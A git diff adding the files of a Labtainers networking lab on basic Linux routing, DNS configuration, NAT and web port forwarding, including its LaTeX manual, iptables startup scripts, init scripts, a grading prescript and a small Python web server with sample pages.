b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/docs/header.tex new file mode 100644 index 000000000..d81b557e1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/docs/header.tex @@ -0,0 +1,122 @@ +\documentclass[11pt]{article} + +\usepackage{times} +\usepackage{epsf} +\usepackage{epsfig} +\usepackage{amsmath, alltt, amssymb, xspace} +\usepackage{wrapfig} +\usepackage{fancyhdr} +\usepackage{url} +\usepackage{verbatim} +\usepackage{fancyvrb} +\usepackage{float} + +\usepackage{subfigure} +\usepackage{cite} +\usepackage{hyperref} +\hypersetup{% + pdfborder = {0 0 0} +} +\topmargin -0.50in % distance to headers +\oddsidemargin 0.0in +\evensidemargin 0.0in +\textwidth 6.5in +\textheight 8.9in + + +%\centerfigcaptionstrue + +%\def\baselinestretch{0.95} + + +\newcommand\discuss[1]{\{\textbf{Discuss:} \textit{#1}\}} +%\newcommand\todo[1]{\vspace{0.1in}\{\textbf{Todo:} \textit{#1}\}\vspace{0.1in}} +\newtheorem{problem}{Problem}[section] +%\newtheorem{theorem}{Theorem} +%\newtheorem{fact}{Fact} +\newtheorem{define}{Definition}[section] +%\newtheorem{analysis}{Analysis} +\newcommand\vspacenoindent{\vspace{0.1in} \noindent} + +%\newenvironment{proof}{\noindent {\bf Proof}.}{\hspace*{\fill}~\mbox{\rule[0pt]{1.3ex}{1.3ex}}} +%\newcommand\todo[1]{\vspace{0.1in}\{\textbf{Todo:} \textit{#1}\}\vspace{0.1in}} + +%\newcommand\reducespace{\vspace{-0.1in}} +% reduce the space between lines +%\def\baselinestretch{0.95} + +\newcommand{\fixmefn}[1]{ \footnote{\sf\ \ \fbox{FIXME} #1} } +\newcommand{\todo}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{TODO: #1}} +\vspace{0.1in} +} + +\newcommand{\mybox}[1]{ +\vspace{0.2in} +\noindent +\fbox{\parbox{6.5in}{#1}} +\vspace{0.1in} +} + + +\newcounter{question} +\setcounter{question}{1} + +\newcommand{\myquestion} {{\vspace{0.1in} \noindent \bf Question \arabic{question}:} \addtocounter{question}{1} \,} + +\newcommand{\myproblem} {{\noindent \bf Problem \arabic{question}:} \addtocounter{question}{1} \,} + + + +\newcommand{\copyrightnotice}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{ + This lab was developed for the Labtainer framework by the Naval Postgraduate + School, Center for Cybersecurity and Cyber Operations under National Science + Foundation Award No. 1438893. + This work is in the public domain, and cannot be copyrighted.}} +\vspace{0.1in} +} + + +\newcommand{\idea}[1]{ +\vspace{0.1in} +{\sf IDEA:\ \ \fbox{\parbox{5in}{#1}}} +\vspace{0.1in} +} + +\newcommand{\questionblock}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{#1}} +\vspace{0.1in} +} + + +\newcommand{\argmax}[1]{ +\begin{minipage}[t]{1.25cm}\parskip-1ex\begin{center} +argmax +#1 +\end{center}\end{minipage} +\; +} + +\newcommand{\bm}{\boldmath} +\newcommand {\bx} {\mbox{\boldmath $x$}} +\newcommand {\by} {\mbox{\boldmath $y$}} +\newcommand {\br} {\mbox{\boldmath $r$}} + + +\newcommand{\tstamp}{\today} +%\rfoot[\fancyplain{\tstamp} {\tstamp}] {\fancyplain{}{}} + +\pagestyle{fancy} +\lhead{\bfseries Labtainers} +\chead{} +\rhead{\small \thepage} +\lfoot{} +\cfoot{} +\rfoot{} + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/docs/read_first.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/docs/read_first.txt new file mode 100644 index 000000000..2bf25f590 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/docs/read_first.txt @@ -0,0 +1,6 @@ +The lab manual is at + file://LAB_DOCS/routing-basics2.pdf + +You may open these by right clicking +and select "Open Link". + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/docs/routing-basics-report.docx b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/docs/routing-basics-report.docx new file mode 100644 index 000000000..e02abfc9b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/docs/routing-basics-report.docx @@ -0,0 +1 @@ + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/docs/routing-basics.jpg b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/docs/routing-basics.jpg new file mode 100644 index 000000000..233570988 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/docs/routing-basics.jpg differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/docs/routing-basics.odg b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/docs/routing-basics.odg new file mode 100755 index 000000000..0278f1fe9 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/docs/routing-basics.odg differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/docs/routing-basics.tex b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/docs/routing-basics.tex new file mode 100644 index 000000000..4c4ec7922 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/docs/routing-basics.tex @@ -0,0 +1,139 @@ +\input{header} +\begin{document} + +\begin{center} +{\LARGE Routing Basics Two} +\vspace{0.1in}\\ +\end{center} + +\copyrightnotice + +\section{Overview} +This exercise explores basic network routing concepts +in a Linux environment. These include use of the \texttt{route} +command, defining a DNS server in the /etc/resolv.conf file, +and using Network Address Translation (NAT). It is similar to +the routing-basics lab, but also includes a web server accessible +to external users. + +This exercise, (and manual), is not intended to replace instruction +or independent reading on the topic of network routing and +routing in Linux systems. The exercise is intended to provide +students with an environment with which they can experiment +with the mechanics of routing network traffic. + + +\section{Lab Environment} +This lab runs in the Labtainer framework, +available at http://my.nps.edu/web/c3o/labtainers. +That site includes links to a pre-built virtual machine +that has Labtainers installed, however Labtainers can +be run on any Linux host that supports Docker containers. + +From your labtainer-student directory start the lab using: +\begin{verbatim} + labtainer routing-basics2 +\end{verbatim} +\noindent A link to this lab manual will be displayed. + +\section{Network Configuration} +This lab includes four networked computers as shown in Figure~\ref{fig:topology}. +When the lab starts, you will get four virtual terminals, one connected to each +component. +The gateway is configured to perform routing between LAN1 and LAN2, and to +route external addresses to an external gateway, e.g., to reach the Internet. +The ws1 and ws2 workstations are pre-configured to route traffic to the gateway +component. The ws3 workstation is not yet configured for routing. + +The gateway is configured to use NAT to translate +sources addresses of traffic from internal IP addresses, e.g., 192.168.1.1, to +our external address, i.e., 240.0.113.10. + +\begin{figure}[htb] +\begin{center} +\includegraphics [width=0.8\textwidth,natwidth=621,natheight=403]{routing-basics.jpg} +\end{center} +\caption{Network topology for routing-basics2 lab} +\label{fig:topology} +\end{figure} + +\section{Lab Tasks} +\subsection{Internal Routing} +From each of the three workstations, enter the following command: +\begin{verbatim} + route -n +\end{verbatim} +\noindent Note how ws1 and ws2 include routing table entries that name the +gateway as the \textit{default gateway}. This allows ws1 and ws2 to address each other, which +can be demonstrated by using \texttt{ping} from ws1 to reach ws2: + +\begin{verbatim} + ping [ws2 IP] +\end{verbatim} + +Now consider ws2 and ws3. Since they are both on the same LAN, they can ping +each other. Try that for yourself. Then try to ping ws1 from ws3. That will +fail because ws3 has no routing table entry defining what to do with traffic +that is not destined for a LAN directly connected to ws3. + +On ws3, define the gateway component as the \textit{default gateway} using the +\texttt{route} command, but this time using \texttt{sudo} because we are altering the routing: + +\begin{verbatim} + sudo route add default gw [gateway IP] +\end{verbatim} +\noindent Then try to ping between ws1 and ws3. + +\subsection{Routing to the Internet} +The gateway component is configured to route to a simulated ISP at 240.0.113.1, which +is a hidden component that provides routing to the Internet for this lab. From ws2, +try to ping www.google.com. Then do the same from ws3. The problem with ws3 is that +it has no domain name service (DNS) definition. Note, routing from ws3 to the Internet +works fine, which you can confirm by pinging the IP address of www.google.com (as displayed +when you pinged from ws2). The ws3 component simply lacks a DNS definition. +On ws2, the DNS is defined to be the +gateway component, and this is achieved in the \texttt{/etc/resolv.conf} file \footnote{ +Many Linux systems include tools for defining your DNS, and these tools will overwrite +the resolv.conf file. That is not an issue in these labs}. If you +modify that file on ws3 to match that of ws2, that will tell ws3 to use the gateway +as its DNS. + +\subsection{Use of Network Address Translation (NAT)} +Review how the gateway component implements NAT using the \texttt{iptables} +utility. Consider traffic from ws1 destined for www.google.com. The source IP address +on those packets is 192.168.1.1. The ws1 component sends the packets to its default +gateway, i.e., our gateway component. The gateway routing table is configured to +send external traffic to 240.0.113.1. However, before that traffic is sent, we need +to translate the source IP address to our external 240.0.113.10 address so that google knows +where to send replies. +Use this command: +\begin{verbatim} + sudo iptables -L -v -t nat +\end{verbatim} +\noindent to view our NAT rule, having a target of \texttt{MASQUERADE}, which will translate +source addresses for all traffic destined for our external network interface. Then use +this command: +\begin{verbatim} + sudo iptables -L -v +\end{verbatim} +\noindent to see that we are forwarding traffic received from the two LANs. + +Our iptables NAT rules are defined in the /etc/rc.local file on the gateway component. + +\subsection{IP forwarding for web traffic} +Note how the iptables commands yield rules that were not present in the routing-basics lab. These include port forwarding, +pre, and post routing to forward all traffic sent to port 80 of our site (240.0.113.10) to an +internal web server. Go to the remote workstation (hank@remote\_ws) and use wget to access the web server: +\begin{verbatim} + wget 240.0.113.10 +\end{verbatim} + +\section{Submission} +After finishing the lab, go to the terminal on your Linux system that was used to start the lab and type: +\begin{verbatim} + stoplab +\end{verbatim} +When you stop the lab, the system will display a path to the zipped lab results on your Linux system. Provide that file to +your instructor, e.g., via the Sakai site. + +\end{document} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/gateway/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/gateway/_bin/fixlocal.sh new file mode 100755 index 000000000..438e7ffb1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/gateway/_bin/fixlocal.sh @@ -0,0 +1,11 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +# + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/gateway/_system/etc/rc.local b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/gateway/_system/etc/rc.local new file mode 100755 index 000000000..a9901a946 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/gateway/_system/etc/rc.local @@ -0,0 +1,34 @@ +#!/bin/bash +route delete default +route add default gw 240.0.113.1 +# +# get ethernet device names for the three interfaces +# +lan1=$(ifconfig | grep -B1 "inet addr:192.168.1.10" | awk '$1!="inet" && $1!="--" {print $1}') +lan2=$(ifconfig | grep -B1 "inet addr:192.168.2.10" | awk '$1!="inet" && $1!="--" {print $1}') +wan=$(ifconfig | grep -B1 "inet addr:240.0.113.10" | awk '$1!="inet" && $1!="--" {print $1}') +# +# Define NAT for traffic from LANs to the WAN +# +iptables --flush +iptables -t nat --flush +iptables --delete-chain +iptables -t nat --delete-chain +iptables --table nat -I POSTROUTING 1 --out-interface $wan -j MASQUERADE +iptables --append FORWARD --in-interface $lan1 -j ACCEPT +iptables --append FORWARD --in-interface $lan2 -j ACCEPT + +# forward web traffic to the web server and permit flow of established connections. +sudo iptables -A FORWARD -i $wan -o $lan1 -p tcp --syn --dport 80 -m conntrack --ctstate NEW -j ACCEPT +sudo iptables -A FORWARD -i $wan -o $lan1 -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT +sudo iptables -A FORWARD -i $lan1 -o $wan -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT +sudo iptables -t nat -A PREROUTING -i $wan -p tcp --dport 80 -j DNAT --to-destination 192.168.1.2 +sudo iptables -t nat -A POSTROUTING -o $lan1 -p tcp --dport 80 -s 192.168.0.0/16 -j RETURN +sudo iptables -t nat -A POSTROUTING -o $lan1 -p tcp --dport 80 -d 192.168.1.2 -j SNAT --to-source 192.168.1.10 +# +# restart the DNS forwarder (rely on DNS provided by ISP) +# +echo "nameserver 240.0.113.1" > /etc/resolv.conf +route del -host 172.17.0.1 +systemctl restart dnsmasq + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/gateway/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/gateway/_system/sbin/faux_init new file mode 100755 index 000000000..985cff205 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/gateway/_system/sbin/faux_init @@ -0,0 +1,18 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start +/etc/init.d/dnsmasq start + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/instr_config/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/instr_config/goals.config new file mode 100644 index 000000000..30f2e69ca --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/instr_config/goals.config @@ -0,0 +1,5 @@ +# goals.config +# +# Please see the Labtainer Lab Designer User Guide + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/instr_config/instructions.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/instr_config/instructions.txt new file mode 100644 index 000000000..667cd20ad --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/instr_config/instructions.txt @@ -0,0 +1 @@ +Lab-specific instructor notes. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/instr_config/pregrade.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/instr_config/pregrade.sh new file mode 100755 index 000000000..2d6b93ed2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/instr_config/pregrade.sh @@ -0,0 +1,40 @@ +#!/bin/bash +: <<'END' +This software was created by United States Government employees at +The Center for Cybersecurity and Cyber Operations (C3O) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +END +# +# Script to run prior to grading a student's lab. It is intended +# for two potential purposes: +# 1) Create solution artifacts to campare against student artifacts; +# 2) Process student artifacts into a different form, e.g., extracting +# browser sqlite data as in the default instance of this file below. +# +# +# +homedir=$1 +# destdir includes the container +destdir=$2 +dbg=/tmp/pregrade.log +cd $homedir/$destdir +is_sqlite=`which sqlite3` +echo $is_sqlite +here=`pwd` +places=$here/.mozilla/firefox/*default/places.sqlite +for fname in $(ls $places 2> /dev/null); do + if [[ -f $fname ]]; then + outpath=$here/.local/result + outfile=$outpath/moz_places.txt + mkdir -p "$outpath" + sqlite3 "$fname" "SELECT moz_places.* FROM moz_places;" >"$outfile" + fi +done + +# +# Add other processing below. +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/instr_config/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/instr_config/results.config new file mode 100644 index 000000000..541411928 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/instr_config/results.config @@ -0,0 +1,4 @@ +# results.config +# +# Please see the Labtainer Lab Designer User Guide + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/isp/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/isp/_bin/fixlocal.sh new file mode 100755 index 000000000..6b772936b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/isp/_bin/fixlocal.sh @@ -0,0 +1,14 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +#lan1=$(ifconfig | grep -B1 "inet addr:203.113.0.1" | awk '$1!="inet" && $1!="--" {print $1}') +#wan=$(ifconfig | grep -B1 "inet addr:10.10.0.1" | awk '$1!="inet" && $1!="--" {print $1}') +#sudo iptables --table nat -I POSTROUTING 1 --out-interface $wan -j MASQUERADE +#sudo iptables --append FORWARD --in-interface $lan1 -j ACCEPT + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/isp/_system/etc/rc.local b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/isp/_system/etc/rc.local new file mode 100755 index 000000000..168384d59 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/isp/_system/etc/rc.local @@ -0,0 +1,3 @@ +#!/bin/bash +systemctl restart dnsmasq + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/isp/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/isp/_system/sbin/faux_init new file mode 100755 index 000000000..7eb17975b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/isp/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start +/etc/init.d/dnsmasq restart + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/remote_gw/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/remote_gw/_bin/fixlocal.sh new file mode 100755 index 000000000..6b022e130 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/remote_gw/_bin/fixlocal.sh @@ -0,0 +1,9 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/remote_gw/_system/etc/rc.local b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/remote_gw/_system/etc/rc.local new file mode 100755 index 000000000..1836b004c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/remote_gw/_system/etc/rc.local @@ -0,0 +1,25 @@ +#!/bin/bash +route delete default +route add default gw 240.0.114.1 +# +# get ethernet device names for the three interfaces +# +lan1=$(ifconfig | grep -B1 "inet addr:172.16.0.10" | awk '$1!="inet" && $1!="--" {print $1}') +wan=$(ifconfig | grep -B1 "inet addr:240.0.114.10" | awk '$1!="inet" && $1!="--" {print $1}') +# +# Define NAT for traffic from LANs to the WAN +# +iptables --flush +iptables -t nat --flush +iptables --delete-chain +iptables -t nat --delete-chain +iptables --table nat -I POSTROUTING 1 --out-interface $wan -j MASQUERADE +iptables --append FORWARD --in-interface $lan1 -j ACCEPT +# +# restart the DNS forwarder (rely on DNS provided by ISP) +# + +echo "nameserver 240.0.114.1" > /etc/resolv.conf +route del -host 172.17.0.1 +/etc/init.d/dnsmasq restart + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/remote_gw/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/remote_gw/_system/sbin/faux_init new file mode 100755 index 000000000..ea7e59b87 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/remote_gw/_system/sbin/faux_init @@ -0,0 +1,19 @@ +#!bin/bash +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start +/etc/init.d/dnsmasq start + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/remote_ws/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/remote_ws/_bin/fixlocal.sh new file mode 100755 index 000000000..6b022e130 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/remote_ws/_bin/fixlocal.sh @@ -0,0 +1,9 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/remote_ws/_system/etc/rc.local b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/remote_ws/_system/etc/rc.local new file mode 100755 index 000000000..019cfb7ed --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/remote_ws/_system/etc/rc.local @@ -0,0 +1,5 @@ +#!/bin/bash +/usr/bin/set_default_gw.sh 172.16.0.10 +echo "nameserver 172.16.0.10" > /etc/resolv.conf +route del -host 172.17.0.1 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/remote_ws/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/remote_ws/_system/sbin/faux_init new file mode 100755 index 000000000..73b18865f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/remote_ws/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/web_server/MyHTTPServer.py b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/web_server/MyHTTPServer.py new file mode 100755 index 000000000..4f3fb47bc --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/web_server/MyHTTPServer.py @@ -0,0 +1,26 @@ +#!/usr/bin/env python + +import SimpleHTTPServer +import SocketServer +import os +import sys + +PORT = 80 + +class MyHTTPHandler(SimpleHTTPServer.SimpleHTTPRequestHandler): + #log_file = open('myhttplogfile.txt', 'w') + log_file = open('/var/log/myhttplogfile.txt', 'w') + def log_message(self, format, *args): + self.log_file.write("%s - - [%s] %s\n" % + (self.client_address[0], + self.log_date_time_string(), + format%args)) + self.log_file.flush() + +Handler = MyHTTPHandler + +httpd = SocketServer.TCPServer(("", PORT), Handler) + +print "serving at port", PORT + +httpd.serve_forever() diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/web_server/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/web_server/_bin/fixlocal.sh new file mode 100755 index 000000000..6873c3fe9 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/web_server/_bin/fixlocal.sh @@ -0,0 +1,10 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/web_server/_system/etc/init.d/httpserver.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/web_server/_system/etc/init.d/httpserver.sh new file mode 100755 index 000000000..e2a134b67 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/web_server/_system/etc/init.d/httpserver.sh @@ -0,0 +1,62 @@ +#!/bin/sh + +### BEGIN INIT INFO +# Provides: httpserver +# Required-Start: $syslog +# Required-Stop: $syslog +# Default-Start: 2 3 4 5 +# Default-Stop: 0 1 6 +# Short-Description: Put a short description of the service here +# Description: Put a long description of the service here +### END INIT INFO + +# Change the next 3 lines to suit where you install your script and what you want to call it +DIR=/home/ubuntu +DAEMON=$DIR/MyHTTPServer.py +DAEMON_NAME=httpserver + +# Add any command line options for your daemon here +DAEMON_OPTS="" + +# This next line determines what user the script runs as. +DAEMON_USER=root + +# The process ID of the script when it runs is stored here: +PIDFILE=/var/run/$DAEMON_NAME.pid + +. /lib/lsb/init-functions + +do_start () { + log_daemon_msg "Starting system $DAEMON_NAME daemon" + start-stop-daemon --start --background --pidfile $PIDFILE --make-pidfile -d $DIR --user $DAEMON_USER --chuid $DAEMON_USER --startas $DAEMON -- $DAEMON_OPTS + log_end_msg $? +} +do_stop () { + log_daemon_msg "Stopping system $DAEMON_NAME daemon" + start-stop-daemon --stop --pidfile $PIDFILE --retry 10 + log_end_msg $? +} + + +case "$1" in + + start|stop) + do_${1} + ;; + + restart|reload|force-reload) + do_stop + do_start + ;; + + status) + status_of_proc "$DAEMON_NAME" "$DAEMON" && exit 0 || exit $? + ;; + + *) + echo "Usage: /etc/init.d/$DAEMON_NAME {start|stop|restart|status}" + exit 1 + ;; + +esac +exit 0 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/web_server/_system/etc/rc.d/rc.local b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/web_server/_system/etc/rc.d/rc.local new file mode 100755 index 000000000..807deeb5b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/web_server/_system/etc/rc.d/rc.local @@ -0,0 +1,4 @@ +#!/bin/bash +route delete default +route add default gw 192.168.1.10 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/web_server/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/web_server/_system/sbin/faux_init new file mode 100755 index 000000000..5ae99579c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/web_server/_system/sbin/faux_init @@ -0,0 +1,20 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + +/etc/init.d/httpserver.sh start + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/web_server/_system/var/www/html/index.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/web_server/_system/var/www/html/index.html new file mode 100644 index 000000000..ac9d0c5d5 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/web_server/_system/var/www/html/index.html @@ -0,0 +1,10 @@ + + + + +

Hunderblunder and Thunder Turkey Ranch

+ +

Watch this space!

+ + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/web_server/index.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/web_server/index.html new file mode 100644 index 000000000..ff1b7c6c1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/web_server/index.html @@ -0,0 +1,12 @@ + +Sample index.html for MyHTTPServer + +

Sample index.html for MyHTTPServer

+
+

Links:

+
+link1.html +
+link2.html + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/web_server/link1.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/web_server/link1.html new file mode 100644 index 000000000..485184386 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/web_server/link1.html @@ -0,0 +1,15 @@ + +Sample link1.html for MyHTTPServer + +This is sample

link1.html

for MyHTTPServer +
+index.html +
+link2.html +
+# The secret string below will be replaced with a keyed hash +
+My secret string is: HTTP_SECRET +
+ + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/web_server/link2.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/web_server/link2.html new file mode 100644 index 000000000..590447299 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/web_server/link2.html @@ -0,0 +1,15 @@ + +Sample link2.html for MyHTTPServer + +This is sample

link2.html

for MyHTTPServer +
+index.html +
+link1.html +
+# The secret string below will be replaced with a keyed hash +
+My secret string is: HTTP_SECRET +
